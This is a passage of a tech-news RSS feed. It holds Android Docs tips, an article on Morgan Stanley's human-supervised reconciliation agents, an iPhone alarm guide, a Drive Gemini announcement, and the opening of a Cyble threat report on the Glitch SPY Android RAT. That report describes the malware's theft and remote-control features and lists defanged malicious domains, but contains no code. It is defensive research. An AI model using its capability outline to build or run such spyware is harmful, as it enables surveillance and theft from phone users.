<p>The option to do that is pretty buried, but it’s well worth digging up. Start by finding the document in question on the main Docs screen. Long-press it, and then look way down on the menu that pops up for the “Add to home screen” command. (Depending on the size of your phone, you might have to scroll down that menu a bit before you’ll see it appear.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/08a-google-docs-android-add-to-home-screen.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Add to home screen" class="wp-image-4191219" width="1024" height="1002" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">You’ve usually gotta scroll to find it, but Docs’ “Add to home screen” option is there and ready to save you time.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Tap that bad boy and follow the prompt to place the shortcut wherever you want it — and say “hocus pocus” for good measure, if you’re feelin’ merry — and before you know it, you’ll have an app-like icon sitting right on your home screen. Tapping it will take you directly into the document you selected, without any extra steps required.</p>



<p>You could even get ambitious and create an entire <em>folder </em>on your home screen where you store a variety of high-priority or in-progress documents.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/08b-google-docs-android-home-screen.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Home screen" class="wp-image-4191220" width="1024" height="406" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">What’s up, Docs?</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Three cheers for seconds saved!</p>



<h2 class="wp-block-heading">Google Docs Android feature #9: Quick function shortcuts</h2>



<p>Let’s keep our shortcut mojo goin’ for one more minute, shall we? You can actually follow that same pattern we just went over and and put shortcuts for common Docs commands like creating a new document or searching your existing documents right on your home screen, too. That way, you can perform the associated commands quickly and without any wasted effort opening up the app and hunting around for ’em — and what’s not to love about added efficiency?</p>



<p>These are actually part of Android’s oft-forgotten App Shortcuts system — the thing that came around way back with 2016’s Android 7.1 Nougat release and that’s still vexingly <a href="https://www.computerworld.com/article/1675828/android-app-shortcuts.html">out of sight and out of mind</a> for most of us.</p>



<p>Open up your app drawer, though, and find the Docs icon — or find the Docs icon on your home screen, if it’s there. Press and hold it, and you should see a series of options for direct shortcuts to actions <em>within</em> the app appear.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/09a-google-docs-android-home-screen-shortcuts.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Home screen shortcuts" class="wp-image-4191228" width="1024" height="558" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">All sorts of helpful Docs options are accessible right from your home screen.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>You can always get to those by long-pressing the Docs icon, but if you find yourself using the functions often, you can make it even easier by pressing and holding one of ’em within that pop-up menu and then dragging it directly onto your home screen for one-touch access.</p>



<p>You could even build yourself a nifty little Docs command center for super-fast access to all the stuff you use the most:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/09b-google-docs-android-home-screen-command-bar.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Home screen command bar" class="wp-image-4191232" width="1024" height="419" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Docs, Docs, everywhere — so many options, never more than a tap away.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>And while we’ve got easy access on our minds…</p>



<h2 class="wp-block-heading">Google Docs Android feature #10: The offline on switch</h2>



<p>By default, the Docs Android app will make any files you actively work within the app available for offline use for a while — but if you’re getting ready to travel or expecting any other connectivity-challenged moments, you don’t have to rely on its judgment to make sure your stuff is accessible even without internet access.</p>



<p>From the main Docs screen, tap the three-dot icon alongside any document name and then look for the “Make available offline” option within the menu that pops up.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/10-google-docs-android-offline.jpg?quality=50&amp;strip=all&amp;w=990" alt="Google Docs Android: Offline" class="wp-image-4191229" width="990" height="1024" sizes="auto, (max-width: 990px) 100vw, 990px"><figcaption class="wp-element-caption">Pro tip: Turn offline access on <em>before</em> the need actually arises.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Tap that for any document that you expect to need and then rest easy knowing it’ll be there and available for you — no matter your current connection status.</p>



<h2 class="wp-block-heading">Google Docs Android feature #11: Wordless reactions</h2>



<p>Sometimes, a picture really is worth a thousand words. Or at least a couple hundred.</p>



<p>That’s especially true when collaborating on a document and expressing your opinions — which, let’s be honest, often come down to simple reactions like 👍 or maybe 💩.</p>



<p>Docs has allowed emoji reactions as a part of its editing process for a while now, and at some point along the way, the Android app gained the same ability. It’s just weirdly tucked away in a place where few word-minded mammals would ever find it.</p>



<p>So do this: The next time you’re working on a shared doc, try pressing and holding your finger onto any word to highlight it. (You can then use the selector icons that pop up to expand or shift your selection, if needed.)</p>



<p>Now for the tricky part: In the menu that appears alongside your selection — the one that contains “Copy” and other such commands — look for the three-line icon at its far right side.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/11a-google-docs-android-reactions-menu.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Add emoji reaction menu" class="wp-image-4191222" width="1024" height="126" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">See that little three-line icon within the text actions pop-up? </figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Tap that — and lookie what we have here: the awkwardly hidden option to add an emoji reaction! 🥳</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/11b-google-docs-android-reactions.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Add emoji reaction" class="wp-image-4191224" width="1024" height="192" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Emojis for everyone — hip, hip, hoorah!</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Hit that sneaky little thing with all your might, then select the most appropriate reaction and move on with a satisfied 😊 in your mind.</p>



<h2 class="wp-block-heading">Google Docs Android feature #12: Your in-doc AI</h2>



<p>Generative AI these days is a bit of a mixed bag, to put it politely. Google’s Gemini and other such services are arguably <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">causing more harm than good</a>, on <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">numerous levels</a>, and also just creating paths for lazy, low-quality and accuracy-challenged work.</p>



<p>But in the right scenario and with the right sort of framing, Gemini-style AI <em>can</em> <a href="https://www.computerworld.com/article/4007736/gemini-android.html">actually be useful</a>. The onus just falls squarely on <em>you</em> to determine how to most effectively use it and avoid falling into the traps of unoriginality or, worse, inaccuracy.</p>



<p>The Docs Android app now offers a direct shortcut to Gemini within its editing interface — via the starburst-shaped icon in the toolbar at the top of the screen — and with some careful considering, it might just end up being a helpful reading or editing tool for you.</p>



<p>A few suggestions that notably <em>don’t </em>involve having AI write lazy, uninspired copy on your behalf:</p>



<ul class="wp-block-list">
<li>You can use the Gemini in Docs system as a quick ‘n’ easy way to get a definition or list of synonyms for any word in front of you.</li>



<li>You can also use it to ask for context or related information — like an integrated research aide. (Just remember that AI doesn’t always get things right, so treat it as more of a starting point than a final quote-ready answer.)</li>



<li>And you can lean on it to perform tasks like summarizing or outlining a long document or helping you reorganize a document into a more logical state.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/12-google-docs-android-gemini.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Gemini" class="wp-image-4191227" width="1024" height="814" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Gemini is now available directly within Docs. Please, use it wisely.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>You may still end up spending a ton of time in Docs, but at least now you’ll make the most of every second there and avoid wasting your effort on piddly little tasks that can be made more efficient. And that, as far as I’m concerned, warrants an enthusiastic 🥂 reaction — maybe even followed by a well-earned 🍪.</p>



<p><i>Get six full days of advanced Android knowledge with <a href="https://theintelligence.com/shortcut-ai/" target="_blank" rel="noreferrer noopener"><strong>my free Android Shortcut Supercourse</strong></a>. You’ll learn tons of time-saving tricks for your phone!</i></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Morgan Stanley cut its riskiest reconciliation job in half — by making its agents less autonomous]]></title>
<description><![CDATA[Most enterprise AI deployments so far have focused on coding assistants and customer service bots. Morgan Stanley has deployed agents in one of banking's most accuracy-critical, deadline-driven workflows instead — profit and loss (P&L) reconciliation — and cut the work in half. The counterintuiti...]]></description>
<link>https://tsecurity.de/de/3637097/it-nachrichten/morgan-stanley-cut-its-riskiest-reconciliation-job-in-half-by-making-its-agents-less-autonomous/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637097/it-nachrichten/morgan-stanley-cut-its-riskiest-reconciliation-job-in-half-by-making-its-agents-less-autonomous/</guid>
<pubDate>Wed, 01 Jul 2026 01:47:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Most enterprise AI deployments so far have focused on coding assistants and customer service bots. Morgan Stanley has deployed agents in one of banking's most accuracy-critical, deadline-driven workflows instead — profit and loss (P&amp;L) reconciliation — and cut the work in half. The counterintuitive part: it got there by making the system less autonomous, not more.</p><p>Humans stay tightly in the loop, and their decisions are iteratively turned into repeatable rules the system can apply on its own.</p><p>“It's much more like a co-worker than a copilot,” Morgan Stanley Managing Director Todd Johnson said at a recent VB AI Impact event. The internal production agentic system, known as FIXR, goes beyond simple, straightforward "gen AI 1.0" tasks. “We think that's where the opportunity is to really unlock more complex work in the organization.”</p><h2><b>FIXR behind the scenes</b></h2><p>Every trading day, Morgan Stanley’s trade desks handle the important work around transactions such as cash equities or debt investments. </p><p>And, at the end of each of those days, controllers must reconcile P&amp;L across the finance giant’s Finance, Risk, Operations, and Trade Capture systems. All that data must come together, and, perhaps not surprisingly, hundreds of thousands of attributes frequently fail to match. </p><p>Typically, this means controllers must manually investigate each mismatch (or “break”), make decisions on adjustments, then ideally sign off before the number goes to the desk. And all of this while working on a hard morning deadline. </p><p>Previously, this could take up to six hours for a single book. Now, FIXR performs the task in two to three hours, Johnson said. Across the roughly 100 controllers who do this work, that adds up to about 1,500 hours saved per week.</p><p>After nightly P&amp;L calculations complete, the system automatically analyzes “breaks” and proposes resolutions based on learned rules. Several agents work together: </p><ul><li><p>One interprets past guidance to develop start-of-day resolutions.</p></li><li><p>One learns from controller behavior and documents the rules they apply.</p></li><li><p>One converts repeated patterns into durable, automated logic.</p></li></ul><p>Over time, the system can auto-clear certain breaks it’s encountered before, suggest solutions for others that may be less familiar, ask for help when it’s unsure, and flag for human investigation. When items are repeatedly resolved through the same method, it can create firm rules. </p><p>Critically, humans don’t leave the loop, but stay fully in it, he said. They review, approve or correct every recommendation, then feed those decisions back to improve the next run. The agent learns daily from controllers what it gets right and wrong and codifies that knowledge as it iterates. </p><p>“You still preserve that element of human accountability even as you start to automate,” Johnson said. “Over time you'll see more and more of those items resolved in an automatic way.”</p><p>He emphasized that autonomy requires a great deal of trust; enterprises will not see efficiency gains if everyone's checking everything an agent does. </p><p>The human–agent feedback loop was critical to addressing the challenge of controlled, measured, and repeatable automation. “We recognized that all that intelligence that's sitting in the mind of a controller is gonna be difficult to get all into an agent on day one,” Johnson said. </p><h2><b>Focus on process-first, extensibility</b></h2><p>It was critical to establish processes first, before getting any AI involved, Johnson said. His team ran a “very thorough” process intelligence assessment that mapped and mined workflows to identify where automation would be the most advantageous: Was the answer agents, traditional automation, or simple re-engineering of an inefficient step? </p><p>“If we can fix that first before we add agents to the problem, then we really will be transforming the opportunity,” he said. </p><p>The P&amp;L sign-off process was full of manual steps suitable for automation, and agents taking over some of these time-consuming tasks are freeing up controllers for “more value-added analysis” and “deeper risk consideration” work, he said. </p><p>Extensibility, though, was just as important as time savings. Johnson’s team chose this particular P&amp;L reconciliation use case because hundreds of controllers were doing this work globally across the business (in the Americas, Europe, Asia). </p><p>So start with a use case, prove it, extend it, “and then ultimately the transformation will be as we roll this out more and more across the organization,” Johnson said. </p><h2>Deterministic by design</h2><p>Johnson said the team also deliberately limited how much of the workflow depended on the model's judgment at all. "If you have an opportunity to make things very prescribed and repeatable, that's cheaper in terms of token consumption, it's more repeatable in terms of controls — and have the LLM do the stuff where you don't need that kind of deterministic workflow," he said. </p><p>As the system sees more controller feedback on a given break type, Morgan Stanley converts that pattern into a fixed rule instead of leaving it to the model.</p><h2><b>Humans still own the behavior </b></h2><p>An interesting (and perhaps fundamental) question being raised at the dawn of the agentic era is: Are agents code or digital employees?</p><p>Johnson argues that “they're probably a little bit of both,” and, as such, require nuance when it comes to governance and oversight. Technical teams must still be responsible for maintaining protections and guardrails like firewalls or encryption, for instance. </p><p>But there’s a new dynamic around the “performance element”: Humans using agents are responsible for them because it’s aiding their business work. For instance, if a senior controller is working with a junior controller, they don’t just relinquish responsibility because someone is helping them out, Johnson noted. </p><p>“One of our strong principles in our AI governance generally is that there always has to be human accountability, even if there's a degree of automation,” he said. </p><p>But there typically isn’t “one single one person,” and the process is ultimately continuous. To this point, Johnson joked that one “depressing” thing about agentic AI is that it’s going to require ongoing training because models are ever-changing. </p><p>“You're never gonna be able to say: ‘We've done all the evaluation and testing that we need to do. Let's just let it go.’ You're going to have to have a constant view as it evolves over time.”</p><h2>Morgan Stanley is aiming at real enterprise pain points</h2><p>Morgan Stanley's experience mirrors patterns VentureBeat has uncovered across enterprise AI deployments. </p><p>In VentureBeat's recent VB Pulse survey, nearly three-quarters of respondents reported seeing little to no ROI from custom model fine-tuning, describing a "sandbox graveyard" of AI projects that proved too costly to maintain. This suggests that Morgan Stanley's process-first, buy-and-blend approach may be more sustainable than chasing bespoke models. The survey had 87 respondents and findings should be considered directional. </p><p>Governance emerged as another common challenge: 38% of respondents cited the lack of a single accountable owner as their biggest barrier to production AI, while only two of the 87 enterprises surveyed had active monitoring and alerting in place to detect model failures. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Set a Custom Alarm Sound on Your iPhone (2026 Guide)]]></title>
<description><![CDATA[Setting a custom alarm sound on your iPhone helps you wake up to a tone, song, or personal audio clip you actually like. Apple lets you change alarm sounds from the Clock app, and on newer iOS versions, you can also use short audio files as custom tones through the Files app.



Table of contents...]]></description>
<link>https://tsecurity.de/de/3636759/ios-mac-os/how-to-set-a-custom-alarm-sound-on-your-iphone-2026-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636759/ios-mac-os/how-to-set-a-custom-alarm-sound-on-your-iphone-2026-guide/</guid>
<pubDate>Tue, 30 Jun 2026 22:09:36 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Setting a custom alarm sound on your iPhone helps you wake up to a tone, song, or personal audio clip you actually like. Apple lets you change alarm sounds from the Clock app, and on newer iOS versions, you can also use short audio files as custom tones through the Files app.



Table of contentsUse an Apple Music Song as Your iPhone Alarm SoundUse a Custom Audio File as an Alarm SoundUse GarageBand to Create a Custom Alarm ToneSummaryConclusion



Use an Apple Music Song as Your iPhone Alarm Sound



If you have an Apple Music subscription, this is the easiest way to set a song as your alarm sound. The song must be added to your Apple Music library before it appears inside the Clock app.




Open the Apple Music app on your iPhone.



Search for the song you want to use.



Tap the plus (+) button to add it to your library.



Open the Clock app.



Tap Alarm at the bottom.



Tap an existing alarm or press + to create a new one.



Tap Sound.



Select Pick a Song.



Choose your song, then go back and tap Save.




Your iPhone will now use that song when the selected alarm rings.



Use a Custom Audio File as an Alarm Sound



On iOS 26, Apple made it easier to turn short audio files into tones from the Files app. The file should be under 30 seconds, or your iPhone will ask you to trim it first.




Save your audio file in the Files app.



Long press the audio file.



Tap Share.



Choose Use as Ringtone.



Trim the sound if your iPhone asks.



Open the Clock app.



Go to Alarm.



Select an alarm or create a new one.



Tap Sound.



Choose your custom tone and tap Save.




You can use a downloaded sound, a short music clip, or even a voice recording.



Use GarageBand to Create a Custom Alarm Tone



GarageBand is useful when you want to make your own alarm sound from a longer audio file.




Open GarageBand on your iPhone.



Import or record your sound.



Keep the clip under 30 seconds.



Save the project.



Long press the project.



Tap Share.



Choose Ringtone.



Export it.



Open Clock &gt; Alarm &gt; Sound.



Select the new tone and save the alarm.




You can set different sounds for different alarms. Open each alarm separately, tap Sound, and choose the tone you want.



Spotify songs cannot be directly used as iPhone alarm sounds through the default Clock app. Apple only supports songs saved in the Music app or tones added to your iPhone.



If your alarm is too quiet, go to Settings &gt; Sounds &amp; Haptics and increase the ringtone and alert volume.



Summary




Use Apple Music if you want to wake up to a song.



Use Files on iOS 26 to add short custom audio clips.



Use GarageBand if you want to create or edit your own alarm tone.



Keep custom tones under 30 seconds.



Always check alarm volume before relying on a new sound.




Conclusion



Setting a custom alarm sound on your iPhone is simple once you know where to look. Apple Music works best for songs, Files works well for short audio clips on iOS 26, and GarageBand gives you more control if you want to create your own tone.]]></content:encoded>
</item>
<item>
<title><![CDATA[Ask Gemini in Drive now available on mobile]]></title>
<description><![CDATA[In April, we announced the general availability of Ask Gemini in Drive on the web. We’re now bringing this feature to the Drive Android and iOS apps.Ask Gemini in Drive offers you a dedicated, immersive workspace designed for deep focus. You can now engage in high-context, multi-turn conversation...]]></description>
<link>https://tsecurity.de/de/3636630/web-tipps/ask-gemini-in-drive-now-available-on-mobile/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636630/web-tipps/ask-gemini-in-drive-now-available-on-mobile/</guid>
<pubDate>Tue, 30 Jun 2026 20:53:10 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In April, we announced the <a href="https://workspaceupdates.googleblog.com/2026/04/ask-gemini-in-drive-now-generally-available.html" target="_blank">general availability of Ask Gemini in Drive</a> on the web. We’re now bringing this feature to the Drive Android and iOS apps.</p><p>Ask Gemini in Drive offers you a dedicated, immersive workspace designed for deep focus. You can now engage in high-context, multi-turn conversations to efficiently explore and understand content across Drive, other Workspace apps, and the web.</p><p>Key features include:</p><p></p><ul><li><b>Dedicated conversations: </b>Engage in focused discussions about specific sets of files and folders. By grounding your questions in the relevant content, you get more precise, actionable answers.</li><li><b>Persistent conversation history:</b> Easily pick up where you left off. Your past chats are saved, allowing you to quickly revisit previous insights about specific folders or projects without starting over.</li><li><b>Secure and compliant: </b>Ask Gemini in Drive is built directly into the Drive architecture, it never copies or replicates your files. It honors your existing data protection and security controls, including access permissions, DLP policies, and IRM, ensuring Gemini only accesses content you are authorized to see.</li></ul><p></p><p>This feature will roll out in English and an <a href="https://support.google.com/docs/answer/14925782#zippy=%2Cgemini-in-drive-side-panel" target="_blank">additional 28 languages</a> over the next several weeks.</p><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>This feature is available by default if <a href="https://knowledge.workspace.google.com/admin/gemini/manage-access-to-gemini-features-in-workspace-services" target="_blank">Gemini for Workspace in Drive is enabled</a>.</li><li><b>End users: </b>You must have <a href="https://support.google.com/mail/answer/15604322?sjid=17363988672514456782-NA#gw&amp;zippy=%2Csmart-features-in-google-workspace%2Cwhat-are-googles-legal-bases-of-processing-for-users-in-the-european-economic-area-united-kingdom-or-switzerland%2Chow-long-is-your-workspace-content-activity-used-to-provide-smart-features-and-to-improve-these-features" target="_blank">Workspace smart features</a> enabled to use Ask Gemini in Drive. Visit the Help Center to <a href="https://support.google.com/drive/answer/16963068?hl=en&amp;ref_topic=15113879&amp;sjid=14051016379905367535-NA#ask_gemini_in_drive" target="_blank">learn more about Ask Gemini in Drive</a>.</li></ul><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid and Scheduled Release domains:</a> Extended rollout (potentially longer than 15 days for feature visibility) started on June 26, 2026</li></ul><p></p><h3>Availability</h3><p></p><ul><li><b>Business: </b>Business Standard and Plus</li><li><b>Enterprise: </b>Enterprise Standard and Plus</li><li><b>Consumer: </b>Google AI Pro and Ultra</li><li><b>AI Add-ons: </b>Google AI Pro for Education</li></ul><h3>Resources</h3><div><ul><li>Google Drive Help: <a href="https://support.google.com/drive/answer/16963068" target="_blank">Use Gemini in Drive for research &amp; analysis</a></li></ul></div><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Glitch SPY: An Emerging Android RAT Distributed Through a Fake Polish Rental App]]></title>
<description><![CDATA[Executive Summary




Cyble Research and Intelligence Labs identified an emerging Android malware family tracked as Glitch SPY, distributed through a fraudulent Polish apartment and house rental platform designed to lure users into downloading an Android APK.


Based on the Polish-language lure a...]]></description>
<link>https://tsecurity.de/de/3635150/it-security-nachrichten/glitch-spy-an-emerging-android-rat-distributed-through-a-fake-polish-rental-app/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635150/it-security-nachrichten/glitch-spy-an-emerging-android-rat-distributed-through-a-fake-polish-rental-app/</guid>
<pubDate>Tue, 30 Jun 2026 12:08:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1200" height="600" src="https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-6.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Glitch SPY" decoding="async" srcset="https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-6.jpg 1200w, https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-6-300x150.jpg 300w, https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-6-1024x512.jpg 1024w, https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-6-768x384.jpg 768w" sizes="(max-width: 1200px) 100vw, 1200px" title="Glitch SPY: An Emerging Android RAT Distributed Through a Fake Polish Rental App 1"></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Executive Summary</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Cyble Research and Intelligence Labs identified an emerging Android malware family tracked as <strong>Glitch SPY</strong>, distributed through a fraudulent Polish apartment and house rental platform designed to lure users into downloading an Android APK.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Based on the Polish-language lure and rental-themed distribution website, the activity appears to be Poland-focused, targeting users in Poland or Polish expats.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The downloaded application functions as a dropper and installs the Glitch SPY payload after convincing the user to allow installation from unknown sources. Glitch SPY prompts the victim to enable Android Accessibility Service, which it abuses to automate permission grants, interact with the device UI, extract visible screen content, perform gestures, support remote input, and enable further post-infection activity.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Glitch SPY maintains a persistent WebSocket channel to its C&amp;C server and supports over 70 commands spanning live screen streaming and remote control, screenshot and screen-reader capture, SMS, contact, call log, and location theft, camera and microphone surveillance, keylogging, file management, and shell execution.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Beyond standard surveillance, it includes a crypto-clipper that swaps copied wallet addresses across multiple blockchain formats, file encryption/decryption routines, device-unlock and credential-capture logic, and a hidden remote-browser capability that lets attackers conduct web-based account takeover from the victim's own device and IP.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The Builder module lets operators set a custom app name, package ID, icon, and decoy URL per payload, indicating the platform is designed for redistribution across multiple campaigns, not a single targeted operation.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121430,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-1-%E2%80%93-Glitch-SPY-Attack-Chain-1024x601.png" alt="Figure 1 – Glitch SPY Attack Chain" class="wp-image-121430"><figcaption class="wp-element-caption"><em>Figure 1 – Glitch SPY Attack Chain</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Key Takeaways<strong></strong></h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Glitch SPY is an emerging Android RAT/builder platform identified through branding observed on an exposed C&amp;C admin panel.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>The malware is distributed via a fake Polish rental app website that encourages users to download and install an APK outside official app stores.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>The downloaded application is the Brokewell Android Loader, which acts as a dropper and deploys the Glitch SPY payload.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Glitch SPY heavily abuses the Android Accessibility Service to auto-grant permissions, extract on-screen content, perform taps and gestures, and operate the device with minimal user interaction.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Glitch SPY supports extensive surveillance and theft capabilities, including screen streaming, screenshots, keylogging, SMS theft, contact and call log collection, file access, audio and camera capture, clipboard monitoring, location tracking, and remote browser control.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>The malware includes a crypto-clipper that swaps copied wallet addresses across multiple formats (ETH/EVM, TRON, Bitcoin legacy, and Bech32) with attacker-controlled addresses, directly targeting cryptocurrency users.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>The exposed Glitch SPY panel confirms the presence of modules such as Agents, Viewer, Builder, Cryptor, Dropper, Settings, and Payloads.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>The Builder module indicates that threat actors can generate customized Android payloads with configurable names, package IDs, icons, feature modules, decoy WebView URLs, and optional Telegram alerting.</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Overview<strong></strong></h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><a href="https://cyble.com/resources/research-reports/">Cyble Research and Intelligence Labs</a> identified an emerging Android malware family tracked as <strong>Glitch SPY</strong>, based on branding observed on an exposed command-and-control (C&amp;C) admin panel. The <a href="https://cyble.com/knowledge-hub/what-is-malware/">malware</a> was distributed via the suspicious domain tutaj-dompl[.]com, which appears to be a Polish apartment and house rental platform.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The website advertises verified apartments, viewing reservations, direct contact with property owners, and a simplified rental process without broker commissions. Its primary objective is to encourage users to download an Android APK to reserve apartment viewings, check availability, save listings, and receive confirmation updates.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121434,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-2-Fake-Tutaj-Dom-distribution-website.png" alt="" class="wp-image-121434"><figcaption class="wp-element-caption"><em>Figure 2 - Fake Tutaj Dom distribution website</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The lure is socially plausible, as users searching for rental properties may install a dedicated application to secure viewing slots or communicate with property owners. Based on the Polish-language lure and rental-themed distribution website, the activity appears to be Poland-focused, particularly targeting users searching for rental properties in Poland.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Once installed, the application displays the rental-themed website as a decoy interface, while the Glitch SPY payload runs in the background and initiates malicious activity.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>During analysis, the malware was observed communicating with the C&amp;C domain sportypointsrewards[.]com. Accessing the C&amp;C infrastructure revealed an admin login panel branded as Glitch SPY, which prompted for a username and password. We also identified an additional Glitch SPY admin panel URL gich[.]etherraffleexchange[.]us.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>However, no communicating APK associated with that second panel has been recovered at the time of analysis.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121437,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
